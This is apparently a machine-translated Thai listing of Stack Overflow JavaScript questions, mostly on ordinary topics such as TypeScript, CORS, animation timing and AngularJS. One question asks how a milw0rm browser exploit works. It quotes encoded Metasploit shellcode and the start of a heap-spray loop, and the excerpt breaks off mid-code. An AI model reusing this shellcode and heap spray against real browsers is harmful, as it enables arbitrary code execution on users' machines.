คำถามติดแท็ก javascript

สำหรับคำถามเกี่ยวกับการเขียนโปรแกรมใน ECMAScript (JavaScript / JS) และภาษา / การใช้งานต่างๆ (ไม่รวม ActionScript) แท็กนี้ไม่ค่อยได้ใช้คนเดียว แต่ส่วนใหญ่มักจะเกี่ยวข้องกับแท็ก [node.js], [jquery], [json] และ [html]

12
คลาสแบบคงที่ TypeScript
ฉันต้องการย้ายไป TypeScript จาก JS แบบดั้งเดิมเพราะฉันชอบไวยากรณ์ที่คล้าย C # ปัญหาของฉันคือฉันไม่สามารถหาวิธีประกาศคลาสสแตติกใน TypeScript ใน C # ฉันมักจะใช้คลาสคงที่เพื่อจัดระเบียบตัวแปรและวิธีการรวมเข้าด้วยกันในคลาสที่มีชื่อโดยไม่จำเป็นต้องติดตั้งวัตถุ ในวานิลลา JS ฉันเคยทำสิ่งนี้กับวัตถุ JS อย่างง่าย: var myStaticClass = { property: 10, method: function(){} } ใน TypeScript ฉันอยากจะใช้แนวทาง C-sharpy ของฉัน แต่ดูเหมือนว่าคลาสแบบคงที่ไม่มีอยู่ใน TS วิธีแก้ไขปัญหาที่เหมาะสมสำหรับปัญหานี้คืออะไร?


11
ส่วนหัวคำขอข้ามแหล่งกำเนิด (CORS) ด้วยส่วนหัว PHP
ฉันมีสคริปต์ PHP ง่าย ๆ ที่ฉันพยายามขอ CORS ข้ามโดเมน: <?php header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Headers: *"); ... แต่ฉันยังคงได้รับข้อผิดพลาด: X-Requested-Withไม่อนุญาตให้ใช้ฟิลด์ส่วนหัวคำขอAccess-Control-Allow-Headers มีอะไรฉันหายไป?

7
ฉันจะแสดงเอกสาร Word (.doc, .docx) ในเบราว์เซอร์โดยใช้ JavaScript ได้อย่างไร
ฉันได้ทำโค้ดสำเร็จเพื่อแสดงไฟล์ PDF ในเบราว์เซอร์แทนที่จะเป็นกล่องโต้ตอบ "เปิด / บันทึก" ตอนนี้ฉันกำลังพยายามแสดงเอกสาร Word ในเบราว์เซอร์ ฉันต้องการแสดงเอกสาร Word ใน Firefox, IE7 +, Chrome เป็นต้น ผู้ใดช่วยได้บ้าง ฉันมักจะได้รับกล่องโต้ตอบ "เปิด / บันทึก" ในขณะที่แสดงเอกสาร Word ในเบราว์เซอร์ ฉันต้องการใช้ฟังก์ชันนี้โดยใช้ JavaScript


10
การควบคุม fps ด้วย requestAnimationFrame?
ดูเหมือนว่าrequestAnimationFrameจะเป็นวิธีการทำให้สิ่งต่างๆเคลื่อนไหวโดยพฤตินัยแล้ว มันทำงานได้ดีสำหรับฉันเป็นส่วนใหญ่ แต่ตอนนี้ฉันกำลังพยายามทำแอนิเมชั่นแคนวาสและฉันสงสัยว่า: มีวิธีใดบ้างที่จะทำให้แน่ใจว่ามันทำงานที่เฟรมต่อวินาที? ฉันเข้าใจว่าจุดประสงค์ของ RAF คือเพื่อให้ภาพเคลื่อนไหวที่ราบรื่นสม่ำเสมอและฉันอาจเสี่ยงต่อการทำให้แอนิเมชั่นขาด ๆ หาย ๆ แต่ตอนนี้ดูเหมือนว่าจะทำงานด้วยความเร็วที่แตกต่างกันอย่างมากโดยพลการและฉันสงสัยว่ามีวิธีต่อสู้หรือไม่ อย่างนั้น ฉันจะใช้setIntervalแต่ฉันต้องการการเพิ่มประสิทธิภาพที่ rAF เสนอ (โดยเฉพาะหยุดโดยอัตโนมัติเมื่อแท็บอยู่ในโฟกัส) ในกรณีที่มีคนต้องการดูรหัสของฉันมันค่อนข้างมาก: animateFlash: function() { ctx_fg.clearRect(0,0,canvasWidth,canvasHeight); ctx_fg.fillStyle = 'rgba(177,39,116,1)'; ctx_fg.strokeStyle = 'none'; ctx_fg.beginPath(); for(var i in nodes) { nodes[i].drawFlash(); } ctx_fg.fill(); ctx_fg.closePath(); var instance = this; var rafID = requestAnimationFrame(function(){ instance.animateFlash(); }) var unfinishedNodes = …

5
วิธีใช้ setInterval และ clearInterval?
function doKeyDown(event) { switch (event.keyCode) { case 32: /* Space bar was pressed */ if (x == 4) { setInterval(drawAll, 20); } else { setInterval(drawAll, 20); x += dx; } break; } } สวัสดีทุกคน, ฉันต้องการโทรdrawAll()เมื่อไม่สร้างลูปที่โทรdrawAllซ้ำแล้วซ้ำอีกฉันควรใช้วิธีการเรียกซ้ำสำหรับสิ่งนั้นหรือฉันควรใช้clearInterval? ยังช่วยบอกให้ฉันใช้clearInterval? ขอบคุณ :)
146 javascript  jquery 

5
วิธีใช้ nodejs เพื่อเปิดเบราว์เซอร์เริ่มต้นและไปที่ URL เฉพาะ
ฉันกำลังเขียนแอปพลิเคชันโดยใช้ Node.js หนึ่งในฟังก์ชันที่ฉันต้องการสร้างคือเปิดเว็บเบราว์เซอร์เริ่มต้นและไปที่ URL ที่ต้องการ ฉันต้องการให้พกพาได้เพื่อให้ทำงานบน Windows / Mac / Linux


5
Object.freeze () เทียบกับ const
Object.freeze()ดูเหมือนเป็นวิธีการอำนวยความสะดวกในการเปลี่ยนผ่านที่จะใช้constใน ES6 มีบางกรณีที่ทั้งสองเข้ามาแทนที่ในโค้ดหรือมีวิธีที่ดีกว่าในการทำงานกับข้อมูลที่ไม่เปลี่ยนรูปหรือไม่? ฉันควรใช้Object.freeze()จนถึงช่วงเวลาที่เบราว์เซอร์ทั้งหมดที่ฉันทำงานร่วมกับการสนับสนุนconstแล้วเปลี่ยนไปใช้constแทนหรือไม่?

3
คำสั่ง AngularJS พร้อมตัวเลือกเริ่มต้น
ฉันเพิ่งเริ่มต้นด้วย angularjs และกำลังทำงานเพื่อแปลงปลั๊กอิน JQuery เก่าสองสามตัวเป็นแนวทางเชิงมุม ฉันต้องการกำหนดชุดตัวเลือกเริ่มต้นสำหรับคำสั่งของฉัน (องค์ประกอบ) ซึ่งสามารถแทนที่ได้โดยการระบุค่าตัวเลือกในแอตทริบิวต์ ฉันได้ดูวิธีที่คนอื่นทำเช่นนี้และในห้องสมุดเชิงมุม uiดูเหมือนว่าui.bootstrap.paginationจะทำสิ่งที่คล้ายกัน ก่อนอื่นตัวเลือกเริ่มต้นทั้งหมดจะถูกกำหนดไว้ในวัตถุคงที่: .constant('paginationConfig', { itemsPerPage: 10, boundaryLinks: false, ... }) จากนั้นgetAttributeValueฟังก์ชั่นยูทิลิตี้จะแนบกับตัวควบคุมคำสั่ง: this.getAttributeValue = function(attribute, defaultValue, interpolate) { return (angular.isDefined(attribute) ? (interpolate ? $interpolate(attribute)($scope.$parent) : $scope.$parent.$eval(attribute)) : defaultValue); }; ในที่สุดนี้จะใช้ในฟังก์ชั่นการเชื่อมโยงเพื่ออ่านในคุณลักษณะเป็น .directive('pagination', ['$parse', 'paginationConfig', function($parse, config) { ... controller: 'PaginationController', link: function(scope, element, …

12
มี jQuery ที่ไม่คำนึงถึงขนาดตัวพิมพ์: ประกอบด้วยตัวเลือกหรือไม่?
มีรุ่นที่ไม่ตรงตามตัวพิมพ์: ประกอบด้วยตัวเลือก jQuery หรือฉันควรทำงานด้วยตนเองโดยการวนลูปมากกว่าองค์ประกอบทั้งหมดและเปรียบเทียบ. text () กับสตริงของฉันหรือไม่

7
milw0rm นี้ทำงานอย่างไร
ฉันมักจะไม่มีปัญหาในการอ่านรหัส JavaScript แต่สำหรับอันนี้ฉันไม่สามารถหาเหตุผลได้ รหัสนี้มาจากช่องโหว่ที่เผยแพร่เมื่อ 4 วันก่อน คุณสามารถค้นหาได้ที่milw0rm นี่คือรหัส: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += …

3
วิธีการแทนที่ Backbone.sync
ฉันพยายามออก Backbone.js และหนึ่งในสิ่งที่ฉันพยายามที่จะทำให้การเรียกร้องให้ API ที่ระยะไกลดังนั้นฉันจะต้องสามารถที่จะแทนที่ Backbone.sync ที่ผมเข้าใจเอกสาร ไม่มีตัวอย่างของวิธีการทำเช่นนั้นในเอกสารประกอบเองและดูเหมือนจะไม่เป็นกลุ่ม google สำหรับ Backbone ... ใครบางคนสามารถชี้ให้เห็นตัวอย่างสำหรับการทำเช่นนี้?

2
AngularJS $ RESTful ตัวอย่างทรัพยากร
ฉันต้องการใช้ทรัพยากร $ เพื่อเรียกใช้บริการทางเว็บ RESTful ของฉัน (ซึ่งฉันยังทำงานอยู่) แต่ฉันต้องการทราบว่าฉันได้แก้ไขสคริปต์ AngularJS ของฉันก่อนหรือไม่ สิ่งที่ต้องทำ DTO มี: {id, order, content, done} :cmdคือฉันสามารถโทรapi/1/todo/resetเพื่อล้างตาราง todo ในฐานข้อมูล นี่คือรหัสที่มีความคิดเห็นของความเข้าใจของฉัน: function TodoService($resource) { var src = $resource('api/1/todo/:id:cmd', {id: "@id", cmd: "@cmd"}, //parameters default { ListTodos: { method: "GET", params: {} }, GetTodo: { method: "GET", params: { id: 0 } …

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.